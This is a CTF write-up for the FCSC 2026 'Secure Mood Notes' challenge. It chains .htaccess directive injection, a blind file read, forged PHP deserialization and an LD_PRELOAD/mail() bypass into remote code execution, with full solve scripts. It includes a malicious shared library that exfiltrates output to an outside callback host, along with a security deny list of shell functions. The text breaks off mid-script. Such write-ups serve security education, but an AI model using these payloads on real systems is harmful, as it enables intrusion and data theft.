Secure Mood Notes | FCSC 2026

Challenge

Secure Mood Notes is a secure note-taking application. Each note can be filtered according to your mood: angry, chill, or normal. Share your notes with your friends in complete security!

I was given the full source of a Docker application composed of two services: a Symfony 8 PHP app served by Apache with mod_php and the Snuffleupagus security extension, and a Flask microservice handling note sharing. Apache proxies requests under /share/ to Flask on port 5000. A SUID binary /getflag compiled from getflag.c reads /root/flag.txt when invoked with the exact arguments please give me the flag. The challenge awards two flags: the Snuffleupagus secret key itself (Flag 1), and the contents of /root/flag.txt obtained via RCE (Flag 2).

The docker-compose.yml reveals aggressive container hardening. The entire filesystem is mounted read-only with read_only: true. All Linux capabilities are dropped except CAP_SETGID, CAP_SETUID, and CAP_CHOWN. The only writable locations are tmpfs mounts, each with specific restrictions:

# docker-compose.yml
services:
  secure-mood-notes:
    build: .
    read_only: true
    cap_drop: [all]
    cap_add: [CAP_SETGID, CAP_SETUID, CAP_CHOWN]
    tmpfs:
      - /var/www/html/public/shared_notes/:size=500M,uid=1000,gid=1000,exec
      - /dev/shm:ro,size=1k
      - /tmp/:size=50M,uid=0,gid=0,exec
      - /run/:size=50M,noexec
      - /run/lock/:size=50M,noexec

The key point here is that shared_notes is owned by uid 1000 (the ctf user running Flask) with permissions 755, while /tmp is owned by root with mode 700. Apache runs as www-data (uid 33), which therefore has write access nowhere on the filesystem. This constraint deeply shapes the entire exploitation chain.

Source Code Analysis

The Notes class and the deserialization gadget

The core vulnerability lives in src/Model/Notes.php. This class stores notes and provides a mood-based filtering mechanism:

// src/Model/Notes.php
class Notes
{
    public array $all_notes;
    public array $filters;

    public function __construct($all_notes) {
        $this->all_notes = $all_notes;
        $this->filters = [
            "angry"  => [$this, "angryMode"],
            "chill"  => [$this, "chillMode"],
            "normal" => [$this, "normalMode"]
        ];
    }

    public function filter(string $filter) {
        return array_map($this->filters[$filter], $this->all_notes);
    }

    private function angryMode(Note $note) { /* strtoupper */ }
    private function chillMode(Note $note)  { /* strtolower */ }
    private function normalMode(Note $note) { return $note; }
}

Ok so the filter() method at line 18 calls array_map() using $this->filters[$filter] as the callback and $this->all_notes as the data array. Both $all_notes and $filters are declared public at lines 9 and 10. This is critical because PHP’s unserialize() can set public properties to arbitrary values. If I control the deserialized Notes object, I can set $filters['pwn'] to any PHP callable and $all_notes to an array of arguments. In PHP, a callable can be a function name string ('putenv'), a static method reference (['ClassName', 'method']), or an instance method reference ([$object, 'method']). When filter('pwn') is called, array_map invokes the callable once for each array element, passing that element as the sole argument. This gives me an arbitrary single-argument function call primitive.

The deserialization entry point

Notes are not stored in a database. They live entirely in a cookie called notes_data. The Utils class handles serialization in src/Repository/Utils.php:

// src/Repository/Utils.php, lines 59-84
public static function getNotesFromCookie(Request $request): array
{
    $cookieValue = $request->cookies->get(self::COOKIE_NAME);
    if (!$cookieValue) {
        return ['notes' => new Notes([]), 'invalid' => false];
    }
    try {
        $data = base64_decode($cookieValue);           // line 68
        if ($data === false) {
            return ['notes' => new Notes([]), 'invalid' => true];
        }
        $unserialized = unserialize($data);            // line 74
        if (!$unserialized instanceof Notes) {
            return ['notes' => new Notes([]), 'invalid' => true];
        }
        return ['notes' => $unserialized, 'invalid' => false];
    } catch (\Exception $e) {
        return ['notes' => new Notes([]), 'invalid' => true];
    }
}

The unserialize() call at line 74 is the injection point. Snuffleupagus intercepts it with sp.unserialize_hmac.enable(): it instruments both serialize() and unserialize() to append and verify an HMAC-SHA256 computed with the sp.global.secret_key. Without the key, any tampered serialized data is rejected before PHP even begins reconstructing objects.

The NoteController connects user input to this deserialization primitive. In src/Controller/NoteController.php, the listNotes method takes the filter parameter directly from the URL:

// src/Controller/NoteController.php, lines 36-57
#[Route('/api/notes', name: 'list_notes', methods: ['GET'])]
public function listNotes(Request $request): JsonResponse
{
    $result = Utils::getNotesFromCookie($request);
    // ...
    $filter = $request->query->get('filter', 'normal');   // line 46
    $allNotes = $result['notes']->filter($filter);        // line 48
    // ...
}

The filter parameter at line 46 is passed without any validation to Notes::filter() at line 48. If I forge a Notes object with a custom filter key (say, 'pwn'), I just need to request GET /api/notes?filter=pwn to trigger my callback.

The Flask share microservice and file writing

The Flask service in src/share_notes_app/app.py handles note sharing. It creates a UUID-named folder, writes the note content to shared.mood.notes, and generates an .htaccess for access control:

# share_notes_app/app.py, lines 14-19
HT_ACCESS_CONTENT="""<FilesMatch "\\.mood\\.notes$">
Header set Mood-Filename %s
Require ip %s
Options -ExecCGI
php_flag engine off
</FilesMatch>"""

The /create endpoint (line 26) receives a note_id, an allowed_ip, and a name. It makes an internal HTTP request to the PHP API to fetch the note content (forwarding the attacker’s cookies), then writes the result to disk:

# app.py, lines 63-64
with open(f"{share_folder}/shared.mood.notes", "w", encoding="latin-1") as fd_mood_note:
    fd_mood_note.write(f"{resp['title']}\n{resp['content']}")

Two details matter here. Flask runs as user ctf (uid 1000), the only user that can write to shared_notes. And the file is written with Latin-1 encoding (line 63), which maps each byte value 0x00-0xFF directly to the corresponding Unicode code point. This will be fundamental for transporting binary data through JSON.

The Snuffleupagus security policy

The src/default.rules file configures the security policy:

sp.global.secret_key("FCSC{FAKE_FLAG1}");
sp.xxe_protection.enable();
sp.unserialize_hmac.enable();

sp.disable_function.function("system").drop();
sp.disable_function.function("shell_exec").drop();
sp.disable_function.function("exec").drop();
sp.disable_function.function("proc_open").drop();
sp.disable_function.function("passthru").drop();
sp.disable_function.function("popen").drop();
sp.disable_function.function("pcntl_exec").drop();
sp.disable_function.function("file_put_contents").drop();
sp.disable_function.function("rename").drop();
sp.disable_function.function("copy").drop();
sp.disable_function.function("move_uploaded_file").drop();
sp.disable_function.function("assert").drop();
sp.disable_function.function("create_function").drop();
sp.disable_function.function("ZipArchive::__construct").drop();
sp.disable_function.function("DateInterval::__construct").drop();

sp.disable_function.function("mail").param("additional_params").value_r("\\-").drop();

Every obvious command execution function is blocked. File write functions are blocked too. But several functions that turn out to be essential for the exploit are not blocked: putenv() can modify environment variables, fopen() and fwrite() remain accessible, readfile() and file_get_contents() allow reading files. Most importantly, mail() is only conditionally blocked. The rule specifically targets the fifth parameter additional_params and only drops the call when it contains a dash character. So calling mail('a','b','c','','') with all five arguments and an empty last one goes through just fine.

Flag 1 | Extracting the Snuffleupagus Secret Key

The first step is to extract the sp.global.secret_key value from /opt/default.rules on the remote server. This file is readable by everyone (chmod 444 in the Dockerfile, line 15), but there is no direct LFI in the PHP application. I used the Flask share service and its flaws to get a blind file read primitive through Apache expressions.

Bug 1 | Apache line continuation via clean_filename()

The clean_filename() function in app.py (lines 21-24) sanitizes the filename passed as the name parameter:

# app.py, lines 21-24
def clean_filename(name: str) -> str:
    name = re.sub(r'[./;!\n\r"<>\(\)\{\}\[\]]', '', name)
    name = re.sub(r'\s+', ' ', name)
    return name.strip()

The regex removes ./;!\n\r"<>(){}[] characters, but it lets backslashes \ and single quotes ' through. The 10-character limit (checked at line 45) still allows short names. By using '\ (two characters: a single quote followed by a backslash) as the name, the generated .htaccess becomes:

<FilesMatch "\.mood\.notes$">
Header set Mood-Filename '\
Require ip 127.0.0.1
Options -ExecCGI
php_flag engine off
</FilesMatch>

Apache treats the trailing backslash as a line continuation. The next line’s content (Require ip 127.0.0.1) gets swallowed into the Header set value. The opening single quote causes ap_getword_conf to consume the entire merged content as a single token. The result is that the Require ip directive no longer functions as an access restriction, and the shared file becomes accessible from any IP.

Bug 2 | Newline injection via IPv6 scope identifiers

The IP validation in app.py (line 51) uses Python’s standard ip_address() function:

# app.py, line 51
ip_address(allowed_ip)

The crucial detail is that Python 3’s ipaddress.ip_address() accepts IPv6 addresses with scope identifiers after the % character, per RFC 6874. Python is extremely permissive about the scope identifier contents: it accepts any character, including raw newlines \n. The address fe80::1%\nRequire all granted\nHeader set X-Test ok passes validation without error.

So allowed_ip is not just an IP address: it is a multi-line Apache configuration injection sink.

Combining both bugs | Arbitrary .htaccess directive injection

By combining the two primitives, I can generate an .htaccess with fully controlled Apache directives. I use name = "'\\" to neutralize the Require ip restriction, then inject my chosen directives through allowed_ip. The resulting .htaccess looks like:

<FilesMatch "\.mood\.notes$">
Header set Mood-Filename '\
Require ip fe80::1%
Require all granted
Header set X-Probe 1 "expr=file('/opt/default.rules') =~ m#secret#"
Options -ExecCGI
php_flag engine off
</FilesMatch>

The first line is syntactically valid enough for Apache (even though the header value is ugly), and the injected directives are processed normally. I now have the ability to add arbitrary response headers, including conditional headers based on Apache expressions.

Blind file read via Apache expressions

Apache’s mod_headers supports conditional expressions with the "expr=..." syntax. Apache expressions support the file() function, which reads file contents from disk within the expression engine. I can inject a directive like:

Require all granted
Header set X-Probe 1 "expr=file('\057opt\057default.rules') =~ m#sp\.global\.secret_key\(\042FCSC\{PREFIX#"

If the expression is true (the file content matches the regex), the X-Probe: 1 header appears in the HTTP response. Otherwise, it is absent. That’s a blind file read primitive via prefix matching. Slashes are escaped in octal notation (\057) to avoid conflicts with Apache syntax, and double quotes use \042.

Character-by-character extraction

The exploitation is iterative. I start with the known prefix sp.global.secret_key(" and test each character from an alphabet (a-zA-Z0-9{}_-) by appending it to the prefix. For each attempt, I create a new share with the injected directives, then GET the shared file and check for the X-Probe header. When the header is present, I found the right character and move on.

On the remote server, this produces:

$ python3 extract_key.py https://secure-mood-notes.fcsc.fr
F
FC
FCS
FCSC
FCSC{
FCSC{9
FCSC{9c
FCSC{9c3
FCSC{9c3c
FCSC{9c3c3
FCSC{9c3c34
FCSC{9c3c34c
FCSC{9c3c34c0
FCSC{9c3c34c03
FCSC{9c3c34c030
FCSC{9c3c34c030a
FCSC{9c3c34c030a9
FCSC{9c3c34c030a9d
FCSC{9c3c34c030a9d6
FCSC{9c3c34c030a9d6d
FCSC{9c3c34c030a9d6d8
FCSC{9c3c34c030a9d6d8}
Key: FCSC{9c3c34c030a9d6d8}

Flag 1: FCSC{9c3c34c030a9d6d8}

#!/usr/bin/env python3
import sys, re, string, base64, urllib.parse
import requests

url = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1"

s = requests.Session()
s.get(url + "/")

def xor_enc(val, k64):
    k = base64.b64decode(urllib.parse.unquote(k64))
    raw = val.encode()
    return base64.b64encode(bytes(raw[i] ^ k[i % len(k)] for i in range(len(raw)))).decode()

ck = s.cookies["client_key"]
r = s.post(url + "/api/notes", json={"title": xor_enc("x", ck), "content": xor_enc("x", ck)})
nid = str(r.json()["id"])

def inject_htaccess(directives):
    ip = "fe80::1%D\n" + "\n".join(directives)
    r = s.post(url + "/share/create", json={
        "note_id": nid,
        "allowed_ip": ip,
        "name": "'\\",
    })
    return r.json()["path"]

def probe(expr):
    path = inject_htaccess([
        "Require all granted",
        f'Header set X-Probe 1 "expr={expr}"',
    ])
    return "X-Probe" in s.get(url + path).headers

tgt = "'" + "/opt/default.rules".replace("/", "\\057").replace("\\", "\\\\") + "'"
pfx = r"sp\.global\.secret_key\(\042"

found = ""
while True:
    hit = False
    for c in string.ascii_letters + string.digits + "{}_-":
        cand = re.escape(found + c).replace("#", r"\#")
        if probe(f"file({tgt}) =~ m#{pfx}{cand}#"):
            found += c
            print(found)
            hit = True
            break
    if not hit:
        break

print(f"Key: {found}")

Flag 2 | From Deserialization to Code Execution

The Snuffleupagus HMAC format

Before forging cookies, I studied the Snuffleupagus source code to understand exactly how the HMAC is computed. In sp_unserialize.c, during serialization, Snuffleupagus computes hash_hmac('sha256', $serialized_data, $secret_key) and concatenates the 64-character hex digest directly after the serialized data, with no separator:

// sp_unserialize.c - serialize() hook
zend_string *hmac = sp_do_hash_hmac_sha256(
    Z_STRVAL_P(return_value), Z_STRLEN_P(return_value),
    ZSTR_VAL(SPCFG(encryption_key)), ZSTR_LEN(SPCFG(encryption_key))
);
RETVAL_NEW_STR(zend_string_concat2(
    Z_STRVAL_P(return_value), Z_STRLEN_P(return_value),
    ZSTR_VAL(hmac), ZSTR_LEN(hmac)
));

During deserialization, the last 64 characters are stripped as the HMAC, and everything before is the payload. The cookie value is base64(serialized_data + hmac_hex_64_chars).

Proof of concept | phpinfo

To confirm the primitive works, I forged a minimal Notes object with $filters["pwn"] = "phpinfo" and $all_notes = [-1]. When the server processes GET /api/notes?filter=pwn, it executes array_map("phpinfo", [-1]), which calls phpinfo(-1) and dumps the full PHP configuration in the response body. The note title in the JSON is "Sans titre" because phpinfo() returns true, not a Note object. What matters is that the function executed without errors. I also tested readfile with /proc/mounts to map the filesystem, which confirmed the tmpfs permissions and the impossibility for www-data to write anywhere.

Dead ends

The gap between “arbitrary single-argument function calls” and “execute /getflag” turned out to be much wider than I expected. Here is a detailed account of the approaches I tried and why they failed.

Writing directly via Monolog StreamHandler. My first idea was to use Monolog’s StreamHandler to write a PHP webshell to disk. StreamHandler uses fopen() and fwrite() internally (see line 154 and line 210), neither of which is blocked by Snuffleupagus. I configured the handler with url = '/var/www/html/public/shared_notes/shell.php'. It worked locally, but on the remote server, the file was never created. Reading /proc/mounts explained why: the shared_notes tmpfs has mode 755 and is owned by uid 1000. Apache’s www-data process simply does not have write permission.

LD_PRELOAD in two separate requests. The classic LD_PRELOAD + mail() technique works by setting the LD_PRELOAD environment variable to point to a malicious shared library, then calling mail(), which internally invokes /usr/sbin/sendmail as a subprocess via C-level popen() (in ext/standard/mail.c). The subprocess inherits the environment, and the dynamic linker loads the library specified in LD_PRELOAD. I tried sending two requests on the same keep-alive connection: the first calling putenv('LD_PRELOAD=/path/to/evil.so'), the second triggering mail(). The idea was that both requests on the same connection would hit the same Apache prefork worker. But the FCSC infrastructure uses a reverse proxy that redistributes connections across workers, breaking the keep-alive assumption. putenv in request 1 and mail in request 2 ended up in different processes.

Oversized cookies. The .so compiled with default flags was 14,288 bytes. After UTF-8 encoding expansion, PHP serialization overhead, and base64 encoding, the notes_data cookie grew to approximately 19KB. The FCSC reverse proxy rejected this with HTTP 431 (Request Header Fields Too Large). I reduced the .so size with aggressive compiler flags:

# Default: 14288 bytes
gcc -shared -fPIC -o evil.so evil.c -nostartfiles

# Optimized: 5624 bytes
gcc -shared -fPIC -Os -s -nostartfiles -Wl,-z,noseparate-code -o evil.so evil.c

The -Wl,-z,noseparate-code flag tells the linker to merge the read-only and executable LOAD segments, eliminating the 4KB alignment gap between them. Combined with -Os (optimize for size) and -s (strip symbols), this achieved a 60% size reduction.

Transporting a binary ELF through JSON

Since only Flask can write to shared_notes, I needed Flask to write my malicious .so. Flask fetches note content from the PHP API as JSON, then writes {title}\n{content} to a file with Latin-1 encoding. The binary ELF data must therefore survive this pipeline: PHP Note object, through json_encode() (which requires valid UTF-8), JSON response over HTTP, Python requests.json() decode, and finally file.write(encoding='latin-1').

The UTF-8 problem. PHP’s json_encode() refuses invalid UTF-8 sequences. Raw binary bytes in the 0x80-0xFF range form invalid sequences and cause json_encode() to return false. I solved this by treating the binary data as Latin-1 (ISO-8859-1) and converting it to UTF-8 before storing it in the Note:

$t_utf8 = mb_convert_encoding($t_bytes, 'UTF-8', 'ISO-8859-1');
$c_utf8 = mb_convert_encoding($c_bytes, 'UTF-8', 'ISO-8859-1');

Latin-1 maps each byte value directly to the Unicode code point with the same number. Byte 0xF8 becomes U+00F8, byte 0x41 stays U+0041. In UTF-8, code points U+0000 through U+007F are single-byte, while U+0080 through U+00FF require two bytes. The UTF-8 string is slightly larger than the binary, but every character is valid UTF-8. On the Python side, requests.json() decodes the JSON to Python strings containing the correct Unicode characters. When the file is written with encoding='latin-1', Python maps each code point back to the corresponding single byte. The round trip is lossless for all byte values 0x00 through 0xFF.

The inserted newline problem. Flask always writes f"{title}\n{content}", inserting a \n byte (0x0A) between title and content. For the file to be a valid ELF, this byte must fall at a position where 0x0A is already present. Rather than fighting the ELF format (I tried placing the 0x0A in the ELF header’s padding bytes at offsets 8-15, but glibc strictly validates the ABI version and rejects non-zero padding), I simply searched for bytes that are already 0x0A in the compiled .so:

data = open('evil.so', 'rb').read()
pos = [i for i, b in enumerate(data) if b == 0x0a]
# [726, 3784]

Position 726 falls in the .text section. By splitting the binary at this position (title = bytes 0 through 725, content = bytes 727 onward), Flask’s \n insertion at position 726 replaces a byte that was already 0x0A. The reconstructed file is byte-for-byte identical to the original:

t = data[:726]
c = data[727:]
r = t + b'\n' + c
assert r == data  # True

Why Monolog and not Symfony

A natural question is: why use Monolog classes in the gadget chain rather than Symfony’s own classes? After all, the application is built on Symfony 8, which provides many classes with __destruct or __wakeup methods.

The answer is that Symfony deliberately defends against deserialization attacks. Most Symfony classes that have a __destruct method also define __unserialize() in a way that throws an exception unconditionally. When PHP calls unserialize() and the target class has an __unserialize method, PHP calls it instead of the older __wakeup. If that method throws, the object is never fully constructed and the attack fails.

Monolog, on the other hand, does not implement __unserialize on its handler classes. The base Handler class defines __serialize(), which simply calls $this->close() and returns the object’s properties as an array. But there is no corresponding __unserialize(). PHP falls back to default deserialization behavior: it reconstructs the object by directly setting its properties from the serialized data, without any validation or exception. This makes Monolog the only viable gadget source in this application.

The include gadget | GzipStreamWrapper::require()

At this point I could write arbitrary binary files through Flask, and I had confirmed that putenv() + mail() achieves code execution when both run in the same PHP process. The remaining problem was finding a way to execute both functions in a single HTTP request, since array_map only allows one callable per invocation.

I needed a callable that takes a single string argument (a file path) and executes PHP code from that file. PHP’s include and require are language constructs, not functions, so they cannot be passed to array_map. I searched Symfony’s vendor/ directory for static methods that wrap require inside a normal function call.

The answer was in Symfony\Component\Intl\Util\GzipStreamWrapper:

// vendor/symfony/intl/Util/GzipStreamWrapper.php
class GzipStreamWrapper
{
    public static function require(string $path): array
    {
        if (!\function_exists('opcache_is_script_cached')
            || !@opcache_is_script_cached($path)) {
            stream_wrapper_unregister('file');
            stream_wrapper_register('file', self::class);
        }

        return require $path;
    }

    public function stream_open(string $path, string $mode): bool
    {
        stream_wrapper_restore('file');
        $this->path = $path;
        return false !== $this->handle = fopen('compress.zlib://' . $path, $mode);
    }

    public function stream_read(int $count): string|false { return fread($this->handle, $count); }
    public function stream_eof(): bool { return feof($this->handle); }
}

This class is designed to load gzip-compressed PHP data files for Symfony’s Intl component. The require() static method takes a single file path, registers a custom stream wrapper that decompresses gzip data on the fly, then calls PHP’s require on the file. This is the perfect gadget: it is a static method taking exactly one string argument, directly compatible with array_map. The callable format ['Symfony\Component\Intl\Util\GzipStreamWrapper', 'require'] is a standard PHP callable that can be stored in a serialized array.

A trap with stream_stat(). My first attempt used plain (non-gzipped) PHP code, assuming compress.zlib:// would pass uncompressed data through unchanged. The server crashed with OutOfMemoryError. The cause was in stream_stat(): this method reads the last 4 bytes of the file and interprets them as a little-endian 32-bit unsigned integer (the gzip uncompressed size field). For a PHP file ending in ; ?>, the last 4 bytes 3b 20 3f 3e decode to roughly 1 gigabyte. PHP tried to allocate that much memory and immediately OOM’d. The fix was to gzip-compress the PHP code with gzencode(), which produces a file with a valid trailer containing the correct uncompressed size.

The complete chain in 3 HTTP requests

The final exploit uses exactly three HTTP requests to the Flask share service.

Request 1: writing the malicious .so. The notes_data cookie contains a serialized Notes object with a single Note whose title and content are the two UTF-8-encoded halves of the ELF binary, split at an existing 0x0A byte. Flask writes {title}\n{content}, which reconstructs the original binary perfectly. The .so ends up at /var/www/html/public/shared_notes/{uuid_A}/shared.mood.notes.

Request 2: writing the gzipped PHP payload. The PHP code calls putenv('LD_PRELOAD=/path/to/evil.so') then mail('a','b','c','',''). This code is gzip-compressed with gzencode(), split at a 0x0A byte, and stored in a Note. Flask writes it to /var/www/html/public/shared_notes/{uuid_B}/shared.mood.notes.

Request 3: triggering the exploit. The notes_data cookie contains a Notes object where the filter callable is set to GzipStreamWrapper::require and the notes array contains the path to the gzipped PHP file. When the server processes GET /api/notes?filter=r, the entire chain fires in a single request.

NoteController::listNotes() calls Utils::getNotesFromCookie(), which deserializes my forged Notes object. Then $notes->filter('r') executes array_map(['GzipStreamWrapper', 'require'], ['/path/to/php.mood.notes']). GzipStreamWrapper::require() registers its stream wrapper, then executes require '/path/to/file'. The stream wrapper opens the file via compress.zlib://, decompresses the gzipped content, and PHP executes the resulting code. That code calls putenv('LD_PRELOAD=/path/to/evil.so') then mail('a','b','c','',''). PHP internally invokes /usr/sbin/sendmail via C-level popen() (not PHP-level, so Snuffleupagus never sees it). The subprocess inherits the environment, the dynamic linker loads evil.so, the __attribute__((constructor)) function runs, and /getflag please give me the flag is executed.

The malicious shared library

The .so is minimal. It defines a single constructor function that the dynamic linker calls as soon as the library is loaded:

// evil_final.c
#include <stdlib.h>

__attribute__((constructor))
void p(void) {
    unsetenv("LD_PRELOAD");
    system("/getflag please give me the flag 2>&1 | python3 -c \
        \"import sys,urllib.request as u; \
        u.urlopen('http://<ip>?f='+sys.stdin.read().strip())\"");
}

The unsetenv("LD_PRELOAD") call is essential. Without it, every subprocess spawned by system() would also try to load the .so, causing an infinite loop. Exfiltration is done via python3 and urllib.request, which sends the flag as a URL parameter to a Burp Collaborator server.

The binary is compiled with gcc -shared -fPIC -Os -s -nostartfiles -Wl,-z,noseparate-code to minimize its size to 5,624 bytes. The target container is based on php:8.5.4-apache-trixie (Debian), x86-64 Linux.

The PHP payload

The PHP code that runs on the target is:

<?php
putenv('LD_PRELOAD=/var/www/html/public/shared_notes/UUID_A/shared.mood.notes');
mail('a', 'b', 'c', '', '');
return [];
?>

putenv points LD_PRELOAD to the .mood.notes file that actually contains the ELF binary. mail() is called with five arguments, the fifth being an empty string, which avoids triggering the Snuffleupagus rule that only blocks mail() when additional_params contains a dash. The final return [] is required because GzipStreamWrapper::require() expects the included file to return an array (the Intl component data files normally return locale data arrays).

Running on the remote server

$ python3 exploit_final.py 'FCSC{9c3c34c030a9d6d8}' 'http://sb7fuejhb9yoa8wqk1p9gtbwsnyem7aw.oastify.com'
Target: https://secure-mood-notes.fcsc.fr
Callback: http://sb7fuejhb9yoa8wqk1p9gtbwsnyem7aw.oastify.com
.so: 5624B, split at 726
.so : /var/www/html/public/shared_notes/81ce3616-50eb-4ee2-806c-989b1ac92bf9/shared.mood.notes
php : /var/www/html/public/shared_notes/788568ee-ed90-4246-90a7-b1feab2deb03/shared.mood.notes
trigger sent (200)

On Burp Collaborator:

GET /?f=FCSC{5c3fa80edf2ea136b4ea966297e56c2639d9d7825371d01858436bcb22ff0426} HTTP/1.1
Accept-Encoding: identity
Host: sb7fuejhb9yoa8wqk1p9gtbwsnyem7aw.oastify.com
User-Agent: Python-urllib/3.13
Connection: close

Solve Scripts

The exploit for Flag 2 delegates cookie forging to PHP helper scripts that use the application’s own Composer autoloader to serialize Notes and Note objects correctly. Hand-crafting PHP serialization in Python is fragile (the Notes class has internal references like [$this, "normalMode"] in its $filters array, and those self-references must be serialized as PHP object pointers), so I let PHP do the serialization and call the helpers from a Python orchestrator.

The directory layout is:

solve/
  exploit_final.py
  gen_elf_note.php           # forges cookie with ELF binary as Note content
  gen_php_note.php           # forges cookie with gzipped PHP as Note content
  gen_require.php            # forges cookie triggering GzipStreamWrapper::require
  secure-mood-notes/         # symlink to the challenge source (for the autoloader)

Flag 1 | extract_key.py

#!/usr/bin/env python3
import sys, re, string, base64, urllib.parse
import requests

url = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1"

s = requests.Session()
s.get(url + "/")

def xor_enc(val, k64):
    k = base64.b64decode(urllib.parse.unquote(k64))
    raw = val.encode()
    return base64.b64encode(bytes(raw[i] ^ k[i % len(k)] for i in range(len(raw)))).decode()

ck = s.cookies["client_key"]
r = s.post(url + "/api/notes", json={"title": xor_enc("x", ck), "content": xor_enc("x", ck)})
nid = str(r.json()["id"])

def inject_htaccess(directives):
    ip = "fe80::1%D\n" + "\n".join(directives)
    r = s.post(url + "/share/create", json={
        "note_id": nid,
        "allowed_ip": ip,
        "name": "'\\",
    })
    return r.json()["path"]

def probe(expr):
    path = inject_htaccess([
        "Require all granted",
        f'Header set X-Probe 1 "expr={expr}"',
    ])
    return "X-Probe" in s.get(url + path).headers

tgt = "'" + "/opt/default.rules".replace("/", "\\057").replace("\\", "\\\\") + "'"
pfx = r"sp\.global\.secret_key\(\042"

found = ""
while True:
    hit = False
    for c in string.ascii_letters + string.digits + "{}_-":
        cand = re.escape(found + c).replace("#", r"\#")
        if probe(f"file({tgt}) =~ m#{pfx}{cand}#"):
            found += c
            print(found)
            hit = True
            break
    if not hit:
        break

print(f"Key: {found}")
$ python3 extract_key.py https://secure-mood-notes.fcsc.fr
F
FC
FCS
FCSC
FCSC{
...
FCSC{9c3c34c030a9d6d8}
Key: FCSC{9c3c34c030a9d6d8}

Flag 2

exploit_final.py

The orchestrator compiles the .so, splits it at an existing 0x0A byte, then calls the PHP helpers to forge each cookie before sending the three requests to Flask/PHP.

#!/usr/bin/env python3
import sys, os, subprocess, requests

TARGET = "https://secure-mood-notes.fcsc.fr"
BASEDIR = os.path.dirname(os.path.abspath(__file__))
HEADERS = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
    "Accept": "*/*",
    "Accept-Language": "en",
}

def php(script, *args):
    r = subprocess.run(["php", script] + list(args), capture_output=True, text=True, cwd=BASEDIR)
    if r.returncode != 0:
        print(f"PHP error: {r.stderr}")
        sys.exit(1)
    return r.stdout.strip()

hmac_key = sys.argv[1]
cb = sys.argv[2]
print(f"Target: {TARGET}")
print(f"Callback: {cb}")

evil_c = f'''#include <stdlib.h>
__attribute__((constructor))
void p(void){{
    unsetenv("LD_PRELOAD");
    system("/getflag please give me the flag 2>&1 | python3 -c \\"import sys,urllib.request as u;u.urlopen('{cb}?f='+sys.stdin.read().strip())\\"");
}}
'''
with open(os.path.join(BASEDIR, "evil_final.c"), "w") as f:
    f.write(evil_c)

os.system(f'gcc -shared -fPIC -Os -s -nostartfiles -Wl,-z,noseparate-code '
          f'-o "{BASEDIR}/evil_final.so" "{BASEDIR}/evil_final.c"')

so_data = open(os.path.join(BASEDIR, "evil_final.so"), "rb").read()
sp = so_data.index(b"\x0a")
open(os.path.join(BASEDIR, "so_title.bin"), "wb").write(so_data[:sp])
open(os.path.join(BASEDIR, "so_content.bin"), "wb").write(so_data[sp + 1:])
print(f".so: {len(so_data)}B, split at {sp}")

session = requests.Session()
session.get(f"{TARGET}/", headers=HEADERS)
ck = session.cookies.get("client_key")

elf_cookie = php("gen_elf_note.php", hmac_key)
r = session.post(f"{TARGET}/share/create",
    json={"note_id": "0", "allowed_ip": "127.0.0.1", "name": "x"},
    headers={**HEADERS, "Content-Type": "application/json"},
    cookies={"notes_data": elf_cookie, "client_key": ck})
so_remote = "/var/www/html/public" + r.json()["path"]
print(f".so : {so_remote}")

php_cookie = php("gen_php_note.php", hmac_key, so_remote)
r = session.post(f"{TARGET}/share/create",
    json={"note_id": "0", "allowed_ip": "127.0.0.1", "name": "x"},
    headers={**HEADERS, "Content-Type": "application/json"},
    cookies={"notes_data": php_cookie, "client_key": ck})
php_remote = "/var/www/html/public" + r.json()["path"]
print(f"php : {php_remote}")

req_cookie = php("gen_require.php", hmac_key, php_remote)
r = session.get(f"{TARGET}/api/notes?filter=r",
    headers=HEADERS,
    cookies={"notes_data": req_cookie})
print(f"trigger sent ({r.status_code})")
$ python3 exploit_final.py 'FCSC{9c3c34c030a9d6d8}' 'http://sb7fuejhb9yoa8wqk1p9gtbwsnyem7aw.oastify.com'
Target: https://secure-mood-notes.fcsc.fr
Callback: http://sb7fuejhb9yoa8wqk1p9gtbwsnyem7aw.oastify.com
.so: 5624B, split at 726
.so : /var/www/html/public/shared_notes/81ce3616-50eb-4ee2-806c-989b1ac92bf9/shared.mood.notes
php : /var/www/html/public/shared_notes/788568ee-ed90-4246-90a7-b1feab2deb03/shared.mood.notes
trigger sent (200)

gen_elf_note.php

Forges a notes_data cookie containing a single Note whose title and content are the two halves of the ELF binary, converted from Latin-1 to UTF-8 so they survive json_encode(). It uses the application’s own Notes and Note classes, which guarantees the serialized format matches what Snuffleupagus expects.

<?php
chdir(__DIR__ . '/secure-mood-notes/src/main_notes_app');
require __DIR__ . '/secure-mood-notes/src/main_notes_app/vendor/autoload.php';

use App\Model\Notes;
use App\Model\Note;

$key = $argv[1] ?? 'FCSC{FAKE_FLAG1}';

$t_bin = file_get_contents(__DIR__ . '/so_title.bin');
$c_bin = file_get_contents(__DIR__ . '/so_content.bin');

$t_utf8 = mb_convert_encoding($t_bin, 'UTF-8', 'ISO-8859-1');
$c_utf8 = mb_convert_encoding($c_bin, 'UTF-8', 'ISO-8859-1');

$test = json_encode(['title' => $t_utf8, 'content' => $c_utf8]);

$note  = new Note($t_utf8, $c_utf8);
$notes = new Notes([$note]);

$ser = serialize($notes);
$hmac = hash_hmac('sha256', $ser, $key);
echo base64_encode($ser . $hmac);

gen_php_note.php

Same idea but for the PHP payload. The code is gzip-compressed with gzencode(), then split at an existing 0x0A byte just like the ELF was:

<?php
chdir(__DIR__ . '/secure-mood-notes/src/main_notes_app');
require __DIR__ . '/secure-mood-notes/src/main_notes_app/vendor/autoload.php';

use App\Model\Notes;
use App\Model\Note;

$key = $argv[1] ?? 'FCSC{FAKE_FLAG1}';
$so_path = $argv[2] ?? '/var/www/html/public/shared_notes/UUID/shared.mood.notes';

$php_code = "<?php putenv('LD_PRELOAD=$so_path'); mail('a','b','c','',''); return []; ?>";
$gz = gzencode($php_code);

$pos = strpos($gz, "\x0a");
if ($pos === false) {
    for ($lvl = 1; $lvl <= 9; $lvl++) {
        $gz = gzencode($php_code, $lvl);
        $pos = strpos($gz, "\x0a");
        if ($pos !== false) break;
    }
    if ($pos === false) { exit(1); }
}

$t_utf8 = mb_convert_encoding(substr($gz, 0, $pos), 'UTF-8', 'ISO-8859-1');
$c_utf8 = mb_convert_encoding(substr($gz, $pos + 1), 'UTF-8', 'ISO-8859-1');

$note  = new Note($t_utf8, $c_utf8);
